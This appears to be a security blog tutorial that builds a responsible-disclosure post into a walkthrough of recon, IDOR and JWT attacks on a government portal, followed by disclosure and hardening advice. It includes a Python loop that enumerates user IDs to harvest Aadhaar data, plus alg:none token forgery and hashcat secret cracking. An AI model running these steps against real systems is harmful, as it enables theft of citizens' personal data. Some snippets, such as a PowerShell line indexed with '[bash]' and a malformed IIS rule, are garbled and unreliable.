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Introduction:
When an application security engineer publicly thanks a national leader after “doing his part,” it often signals the quiet end of a high-stakes vulnerability disclosure. The recent LinkedIn post by Dharamveer prasad, India’s Top 100 Cybersecurity Influencer, hints at a responsibly reported flaw—likely an API or authentication bypass—that could have exposed sensitive citizen data. This article reverse‑engineers that real‑world scenario, walking you through the exact reconnaissance, exploitation, and hardening steps used to find, prove, and fix such vulnerabilities in government or enterprise portals.
Learning Objectives:
- Discover hidden API endpoints and identify broken object‑level authorization (BOLA) using open‑source recon tools.
- Exploit insecure direct object references (IDOR) and weak JWT secrets via manual and automated payloads.
- Implement cloud‑native mitigations, including rate limiting, WAF rules, and secure API gateway policies.
You Should Know:
- Reconnaissance: Mapping the Attack Surface Like a Pro
Before any exploitation, an ethical hacker enumerates subdomains, endpoints, and archived URLs. Using the target mentioned in the post (hypothetical government portal), start with passive recon.
Linux Commands (Recon)
Subdomain enumeration subfinder -d target.gov.in -o subs.txt Check live hosts httpx -l subs.txt -status-code -title -tech-detect Fetch historical API endpoints from Wayback Machine waybackurls target.gov.in | grep -E '.(api|json|xml|csv)$' > api_endpoints.txt
Windows PowerShell (Recon)
Resolve subdomains (basic) Resolve-DnsName -Name target.gov.in -Type A | Select-Object Name, IPAddress Download and parse robots.txt / sitemap Invoke-WebRequest -Uri "https://target.gov.in/robots.txt" -UseBasicParsing
What this does: It discovers forgotten API routes, test servers, and development endpoints often left unprotected. Run these before any active scanning to avoid crossing legal boundaries.
Pro tip: Always operate within a signed NDA or bug bounty scope. Unauthorized scanning can violate computer fraud laws.
2. Exploiting IDOR and Broken Access Control
IDOR is one of the most common—and dangerous—flaws in government portals. Imagine an endpoint like /api/users/profile?user_id=1001. Changing that ID to `1002` should fail, but often it returns another citizen’s PAN card or Aadhaar details.
Manual Test with cURL (Linux / WSL)
Authenticate first (extract JWT from browser dev tools) curl -X GET "https://target.gov.in/api/user?userId=1001" \ -H "Authorization: Bearer YOUR_JWT" \ -H "X-Requested-With: XMLHttpRequest" Attempt IDOR curl -X GET "https://target.gov.in/api/user?userId=1002" \ -H "Authorization: Bearer YOUR_JWT"
Automated Python Script (Windows/Linux)
import requests
headers = {"Authorization": "Bearer YOUR_JWT"}
base_url = "https://target.gov.in/api/user?userId="
for uid in range(1001, 1050):
r = requests.get(base_url + str(uid), headers=headers)
if r.status_code == 200 and "Aadhaar" in r.text:
print(f"IDOR found: {uid}")
print(r.text[:500])
Step‑by‑step guide:
- Intercept a legitimate API request using Burp Suite (set proxy to 127.0.0.1:8080).
- Send to Repeater and change any numeric/string parameter that references a user, document, or order.
- Compare responses. If you receive another user’s private data, you’ve confirmed IDOR.
- Document the impact with screenshots and the exact request/response pairs.
3. JWT Manipulation and Privilege Escalation
Many portals use JSON Web Tokens (JWTs) for stateless authentication. Misconfigured tokens (e.g., alg: none, weak secrets, or missing signature verification) allow attackers to forge admin tokens.
Linux – Check JWT algorithm with jwt_tool
Install git clone https://github.com/ticarpi/jwt_tool cd jwt_tool python3 jwt_tool.py <JWT_TOKEN> -T Test for 'none' algorithm python3 jwt_tool.py <JWT_TOKEN> -X a Crack weak HMAC secret (if known) hashcat -m 16500 token.txt rockyou.txt
Windows – Base64 decode JWT (PowerShell)
$token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
$payload = $token.Split('.')[bash] + "=" (4 - ($token.Split('.')[bash].Length % 4))
Step‑by‑step exploitation:
- Capture a valid JWT from a low‑privileged account.
- Decode the payload and look for claims like `”role”:”user”` – change to
"role":"admin". - Re‑encode and send the modified token. If the server accepts it without signature verification, you’ve found an `alg: none` or missing validation flaw.
- For signed tokens, attempt to crack the secret using hashcat (if the secret is weak like `secret` or
changeme).
Mitigation: Always validate JWT signature using strong secrets (min 32 random bytes) and enforce `alg: RS256` or PS256. Reject tokens with alg: none.
4. Responsible Disclosure and the “Thank You” Moment
Once a critical vulnerability is confirmed, ethical hackers follow a disclosure process. Dharamveer prasad’s “I have done my part, thank you modiji” suggests he reported the flaw through official channels (e.g., CERT‑In, bug bounty platform, or direct email).
Step‑by‑step responsible disclosure:
- Halt all testing after verification. Do not exfiltrate or modify data.
2. Write a clear report including:
- Vulnerability type (IDOR, JWT bypass, SQLi)
- Steps to reproduce (exact curl commands or browser actions)
- Impact (e.g., “access to any citizen’s Aadhaar details”)
- Suggested fix (input validation, access control, rate limiting)
- Encrypt the report using the vendor’s PGP key (if available).
gpg --encrypt --recipient [email protected] report.txt
- Send via secure channel – email, bug bounty dashboard, or their vulnerability disclosure form.
- Wait for acknowledgment – usually 3–15 days for initial response.
- Coordinate public disclosure – only after a patch is deployed (typically 45–90 days). The public “thank you” post often comes after the fix is live.
What Undercode Say:
- Responsible disclosure builds trust and protects citizens – reckless public shaming helps no one.
- Even a simple IDOR can be catastrophic when dealing with national identity data; always test with a test account, never with real citizen IDs.
- Government portals are slowly adopting bug bounties, but many still lack basic WAF or input validation – a goldmine for ethical hackers.
- Hardening APIs Against These Attacks (Cloud & On‑Prem)
After reading the above, you’re likely thinking about defense. Here’s how DevOps and security teams prevent the exact flaws we exploited.
Rate Limiting & WAF (AWS / Azure / Linux Nginx)
Nginx rate limiting (20 requests per minute)
limit_req_zone $binary_remote_addr zone=login:10m rate=20r/m;
location /api/ {
limit_req zone=login burst=5 nodelay;
}
AWS WAF rule (JSON) – block IDOR patterns
{
"Name": "BlockSequentialIDAccess",
"Priority": 1,
"Statement": {
"RegexPatternSetReferenceStatement": {
"Arn": "arn:aws:wafv2:us-east-1:123:regexpatternset/idor-patterns",
"FieldToMatch": { "UriPath": {} },
"TextTransformations": [{ "Priority": 0, "Type": "NONE" }]
}
},
"Action": { "Block": {} }
}
Windows Server – IIS Request Filtering
Add URL rewrite rule to block ..\ or pattern like user=\d+
Add-WebConfigurationProperty -Filter "system.webServer/rewrite/rules" -Name "." -Value @{
name="BlockIDOR"
patternSyntax="Wildcard"
matchUrl="user="
actionType="AbortRequest"
}
Step‑by‑step hardening guide:
- Use UUIDs instead of sequential integers for resource IDs – never expose database primary keys in URLs.
- Implement object‑level authorization on every API endpoint (inside the backend, not just the frontend).
- Deploy an API gateway (Kong, AWS API Gateway) that enforces token validation and rate limits before requests hit your microservices.
- Run automated DAST scans (ZAP, Burp Suite CI) weekly – they catch simple IDOR and JWT misconfigurations.
- Conduct regular threat modeling – OWASP AMASS framework works well for government systems.
What Undercode Say:
- The exploit chain is often trivial (curl + Burp), but the consequences are extreme – a single misconfigured endpoint can leak millions of records.
- Always pair automated scanning with manual logic testing; automated tools miss business‑logic IDOR.
- Cloud WAFs are not magic – they must be tuned with custom rules for your API’s parameter patterns.
Prediction:
This style of public “thank you” from an ethical hacker to a national leader signals a shift toward transparent, coordinated disclosure in the public sector. We will likely see India and other nations fast‑track bug bounty legislation, mandate API security testing for any portal handling PII, and require real‑time breach notifications. However, as automation and AI‑generated code become mainstream, new classes of logic flaws and prompt‑injection attacks on government chatbots will emerge – making human‑led ethical hacking more essential than ever.
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IT/Security Reporter URL:
Reported By: Dharamveer Prasad – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
